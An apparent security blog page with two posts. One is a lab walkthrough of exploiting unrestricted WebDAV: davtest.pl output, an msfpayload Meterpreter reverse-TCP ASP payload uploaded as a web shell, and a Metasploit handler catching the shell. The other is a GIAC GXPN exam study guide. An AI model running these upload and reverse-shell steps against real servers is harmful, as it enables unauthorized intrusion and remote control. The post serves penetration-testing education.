Thursday, August 23, 2012

[DIY] Testing / Hacking WebDAV

Unrestricted WebDAV PUT/DELETE Access



Severity:          High - 8
CVSS Score:     9.4
PCI Score:        5
Description:
Unrestricted WebDAV requests expose a server to defacements and denial of service attacks. If the PUT method can be used by any unauthenticated remote user, arbitrary web pages can be inserted into the web root, or the disk can be filled with meaningless data; if the DELETE method is unprotected, then any file in a DAV-enabled directory can be removed at will.
Running nexpose scan against a vulnerable target will give a result observation similar as below:
/r7.txt was successfully PUT on the server, then removed with DELETE.

We can use davtest.pl - http://code.google.com/p/davtest/ - to validate whether WebDAV setup on target host is exploitable and if yes, to what extent.


lab@localhost:~/davtest-1.0$ ./davtest.pl

ERROR: Missing -url

./davtest.pl -url <url> [options]

 -auth+        Authorization (user:password)
 -cleanup      delete everything uploaded when done
 -directory+  postfix portion of directory to create
 -debug+      DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)
 -move         PUT text files then MOVE to executable
 -nocreate    don't create a directory
 -quiet          only print out summary
 -rand+        use this instead of a random string for filenames
 -sendbd+    send backdoors:
         auto - for any succeeded test
           ext - extension matching file name(s) in backdoors/ dir
 -uploadfile+ upload this file (requires -uploadloc)
 -uploadloc+ upload file to this location/name (requires -uploadfile)
 -url+           url of DAV location

Example: ./davtest.pl -url http://localhost/davdir

Test run against lab box:

lab@localhost:davtest-1.0# ./davtest.pl -url http://192.168.1.4 -directory demo_dir -rand rAnD0M5Tr1nG_upfileP0C -cleanup
********************************************************
Testing DAV connection
OPEN       
SUCCEED:        http://192.168.1.4
********************************************************
NOTE    Random string for this session: rAnD0M5Tr1nG_upfileP0C
********************************************************
Creating directory
MKCOL      
SUCCEED:        Created http://192.168.1.4/demo_dir
*
*******************************************************
Sending test files
PUT php SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.php
PUT asp
SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
PUT html SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
PUT shtml FAIL
PUT cgi FAIL
PUT txt SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
PUT aspx FAIL
PUT cfm SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.cfm
PUT jsp SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jsp
PUT pl FAIL
PUT jhtml SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jhtml
********************************************************
Checking for test file execution
EXEC php FAIL
EXEC asp SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
EXEC html SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
EXEC txt SUCCEED: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
EXEC cfm FAIL
EXEC jsp FAIL
EXEC jhtml FAIL
********************************************************
Cleaning up
DELETE SUCCEED: http://192.168.1.4/demo_dir
********************************************************
./davtest.pl Summary:
Created: http://192.168.1.4/demo_dir
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.php
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.cfm
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jsp
PUT File: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.jhtml
Executes: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.asp
Executes: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.html
Executes: http://192.168.1.4/demo_dir/rAnD0M5Tr1nG_upfileP0C.txt
DELETED: http://192.168.1.4/demo_dir

davtest.pl confirms whether we can PUT arbitrary files on the web server, and which files (filetypes) we can execute. As shown above, we see we can upload php, asp, html, txt, cfm, jsp and jhtml file types. However, out of these, we can only execute, asp, html and txt files.

This davtest summary can be a sufficient evidence for the vulnerability. In a pentest, however, there may be a scenario you face where the target host is all locked up and just a web server is running on 80/tcp. Then, exploiting this vulnerability becomes significant and we will need to go beyond just this davtest summary.

So what can we do from here? The obvious task is to upload a control mechanism on the target server. That is, we upload a web shell for example an asp shell via PUT, and then simply call it and play with the server.

You can find a lot of web shells with some google-fu, or you can write one yourself. Or we can generate a shell payload using msfpayload.

lab@localhost:davtest-1.0#msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=443 R | msfencode -t asp -o aspmetrev443t.asp

Then, use davtest.pl to upload it.

lab@localhost:davtest-1.0# ./davtest.pl -url http://192.168.1.4 -directory demo_dir -uploadfile aspmetrev443t.asp -uploadloc demo_dir

Upload succeeded: http://192.168.1.4/demo_dir/aspmetrev443t.asp

Before you access this url, make sure you start metasploit multi handler to listen for incoming connection from this meterpreter reverse shell payload.

msf-pro >
msf-pro > use exploit/multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.1.1
msf  exploit(handler) > set LPORT 443
msf  exploit(handler) > exploit


[*] Started reverse handler on 192.168.1.1:443
[*] Starting the payload handler...


With everything set up now, browse to your shell aspmetrev443t.asp.
[*] Started reverse handler on 192.168.1.1:443
[*] Starting the payload handler...
[*] Sending stage (748032 bytes) to 192.168.1.4
[*] Meterpreter session 1 opened (192.168.1.4:443 -> 192.168.1.1:56031)

+++++
Win!

Thursday, August 9, 2012

Passed GIAC GXPN Exam


As with most of my previous GIAC exams, I did a self-study for GXPN as well. SANS / GIAC categorizes this exam / course as 'Advanced' so keep that in mind when preparing.

Exam objective break up list is available on GIAC GXPN site and must be the first place to prioritize study plan. As I see it, there are 2 sections to plan for.

First, you got to study, practice hands-on and should have good prior experience primarily in Penetration Testing. An experienced pen tester carries knowledge & skills in a variety of domains - systems, networks, applications, architecture, etc., - & how to break each using tools or manually by hand; and that is what this section demands. At a high level, relate the topics from objective lists of SANS GIAC 401, 504, 505, 506, 542, and 560. Anything and everything except exploit development.

Second, is Exploit Development on Windows & Linux platforms. So, your priority reading ought to be, x86, Assembly, Memory management, Stacks, Heaps, Processes, Threads, SEH, DEP, ASLR, Shellcode, Debugging, Disassembling, and various exploitation techniques on Windows & *nix. Unless you have hands-on experience in these areas, plan to spend at least 6-10 months to learn & practice.

Following are resources that helped me prepare for the SANS 660 GXPN exam:
  1. Corelan.be - Peter (corelanc0d3r) has written Excellent articles on exploit development from Basics to Advanced exploitation scenarios. Highly recommended resource. Period.
  2. Security Tube - Another excellent resource for learning variety of topics. Vivek has created series of video tutorials on Linux assembly, Windows assembly, Format String vulnerabilities, Buffer Overflows, Exploit research, Metasploit and many more. His way of teaching is pretty good. I highly recommend studying his primers for preparation to GIAC GXPN.
  3. Shellcoder's handbook 2nd edition - Thorough coverage of *nix exploitation. Windows and other OS are covered as well. A good resource. Get it here.
  4. Microsoft MSDN / Technet - This is required reading for various topics, such as Windows memory management, process, threads, heaps, SEH, DEP, etc.
  5. Exploit-db (Papers) - Formerly milw0rm, there are some really good papers that detail various exploitation techniques. This is required reading, folks.
In addition to all the above resources, the essential, final element is hands-on experience. There is no alternative to it. Build a virtual lab, go to exploit-db.com, download vulnerable applications and their corresponding exploit codes and test them out in your virtual machines. Learn to use Immunity Debugger / Ollydbg, IDA pro / gdb disassembler. Spend time, make notes and follow along the topics one by one. Always start it one step at a time and trust me, you'll be sprinting in no time.

My views on exam are mixed. Most questions were pretty straight and some really twisted. Apparently, pretty straight to me, cos I have decent EEE (education, exposure, experience) in pen testing, and work on exploit dev every once in a while. Twisted ones especially on the exploit development domain. I feel exam can be further improved in 2 aspects:
  1. More screen cap based questions should be there in exam which will test a candidate's ability to read through registers, memory locations and identify issues, and solutions in making an exploit work.
  2. For any incorrect questions, I hope SANS GIAC starts to show a hint for why the chosen answer was not correct. Currently, you answer incorrectly and you get no freaking idea why it was so. The objective of exam needs to be to enforce the learning and not only to get a certificate.
Overall, it has been a long process to prepare and become confident of completing this expensive challenge (~1000$). It took far greater effort than earlier GIAC exams I completed - GPEN, GCIH, GREM, and GWAPT.

For those who are preparing for GIAC GXPN, feel free to comment, and ask questions. I will be glad to help.

Disclaimer

The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.